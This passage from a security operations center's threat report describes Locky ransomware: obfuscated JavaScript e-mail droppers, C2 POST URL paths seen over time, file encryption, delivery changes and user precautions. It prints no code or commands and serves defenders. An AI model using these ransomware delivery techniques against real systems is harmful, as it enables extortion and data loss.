patterns. Each file is designed so that a malware distribution server is accessed and so that 

malware such as Locky is given a means for infection if the file is executed. 
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(a) Obfuscation pattern example (1) 

 

(b) Obfuscation pattern example (2) 

Figure 21 Obfuscated JavaScript files 
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The destination host depends on when the obfuscated JavaScript file is distributed, but if 

it is executed, the terminal is infected with Locky, and the infected terminal sends POST 

traffic to the C2 server as shown in Figure 22. 

 

 
Figure 22 POST traffic generated when Locky is infected 

 

The URL in the POST traffic generated when Locky is infected depends on when Locky is 

infected, as shown in Table 12. The IP address and domain of the C2 server are updated 

almost daily, but the URL in the POST traffic remains the same for a long time. Therefore, it 

is recommended to check the proxy log for relevant traffic and if possible, to shut off the 

relevant traffic with URL filtering software. 

 

Table 12 POST traffic in which the contents depend on when Locky is infected 

POST traffic generated when Locky is infected Monitored period at the JSOC 

/main.php 2/19/2016 to 3/25/2016 

/submit.php 3/28/2016 to 4/1/2016 

/userinfo.php 4/27/2016 to 5/30/2016 

/upload/_dispatch.php 5/31/2016 onward 
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If Locky is able to gain an infection route, the contents of the image, text, or MS Word or 

Excel file with a specific extension is encrypted and the file name and extension are 

changed to unique ones. In addition, the desktop image is replaced as shown in Figure 23 to 

alert the user that the terminal is infected with the ransomware. Locky is designed to display 

an infected screen, text, or HTML file according to the language environment used by the 

infected terminal. 

 

 
Figure 23 Desktop screen displayed when Locky is infected 

 

Figure 24 shows a file encrypted when Locky is infected. 

The file name and extension of the Locky-infected and encrypted file was changed to a 

random character string with an extension of ".locky" as shown in (a) within Figure 24. In 

another case, however, when an attached file received in the early morning of June 28, 

2016, however, the file name was changed to a different one with a hyphen (-) in it, and the 

extension was changed to ".zepto" ((b) in Figure 24). 

 



 

Copyright© 2017 LAC Co., Ltd. All Rights Reserved.                                                                        JSOC INSIGHT vol.13     33 
 

 

(a) Encrypted file extension ".locky" 

 

(b) Encrypted file extension ".zepto" 

Figure 24 Names and extensions of encrypted files changed with Locky  
that become infected 

 

 

  

If a file is infected with Locky, 

its icon is changed, as its 

extension is changed. 

No HTML file is 

encrypted by Locky. 

If an attached file in an e-mail 

received before the midnight of 

June 27 is executed, the extension 

is changed to ".locky". 

If an attached file in an e-mail 

received after the early morning of 

June 28 is executed, the extension 

is changed to ".zepto". 
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Also in July and onward, Locky, which attempts to gain a route for infection through an 

attached file via a suspicious e-mail, has been detected continually, and the following 

changes have been confirmed. 

 

⃞ The first half of July saw an increase in Locky ransomware e-mails via an MS Word file 

with a macro (.docm). 

⃞ For Locky ransomware e-mails with a ZIP file attached that were received from the 

evening of July 13, the file extension was changed to ".wsf" (Windows Script Host), not 

".js" (JavaScript). 

⃞ For Locky ransomware e-mails with a ZIP file attached that were received from the 

midnight of July 20, if a ".js" or ".wsf" file is executed after expansion, file encryption 

occurs after a certain duration, although no communication with a C2 server occurs 

(Figure 25). 

 

 
Figure 25 Locky encryption in an environment without an Internet connection 
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Locky gains routes for infection not only through an attached file in a suspicious e-mail, 

but also through the Neutrino Exploit Kit, which is an exploit kit, as shown in Figure 26.
20

 

 

 

Figure 26 Traffic generated when Locky is infected via the Neutrino Exploit Kit  

(observed on June 29, 2016) 

 

4.3.3 Precautions against suspicious e-mails 

Suspicious e-mails that attempt to lead to Ursnif or ransomware infection have still 

continued from July and onward. It is necessary to take the following precautions. 

 

⃞ If an e-mail has an attached file, check the sender and recipient e-mail addresses and 

the body text of the e-mail, and if the e-mail and attached file are suspicious or not 

necessary, do not open the attached file. 

⃞ Some suspicious e-mails have a fake executable or icon file. Uncheck "Hide extensions 

for known file types" in the Folder Options control panel so that file extensions are 

displayed, and then check them. 

⃞ Before opening an attached file, also check the file extension. If the file is an executable, 

such as a ".js" or ".exe" file, scan it with your anti-virus software with an up-to-date 

definition file before executing it. 

⃞ If an attached file is an Office document file with a macro, open the document by 

disabling macros. (If it is necessary to enable macros, scan the attached file with your 

anti-virus software before opening the file.) 

  

                                                   
 
20

  Locky Ransomware Installed by Nuclear Exploit Kit (Nuclear EK) 

https://www.paloaltonetworks.jp/company/in-the-news/2016/160322-locky-ransomware-installed-through-nuclear-ek.html 

https://www.paloaltonetworks.jp/company/in-the-news/2016/160322-locky-ransomware-installed-through-nuclear-ek.html
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Conclusion 

Much like what the word "INSIGHT" itself implies, JSOC INSIGHT focuses on providing 

information on threats that our JSOC security analysts come across from time to time and 

believe to be worth noting. 

Our security analysts are hard at work, carefully listening to customers in order to offer the 

most up-to-date information available. In our effort to provide vital information, the JSOC 

does not merely focus on the popular incidents that are discovered here and there, but also 

strives to draw attention to significant threats that can affect our now and tomorrow. 

 

The JSOC's hope is to provide our customers with the safety and security that they need 

to conduct their business activities. 
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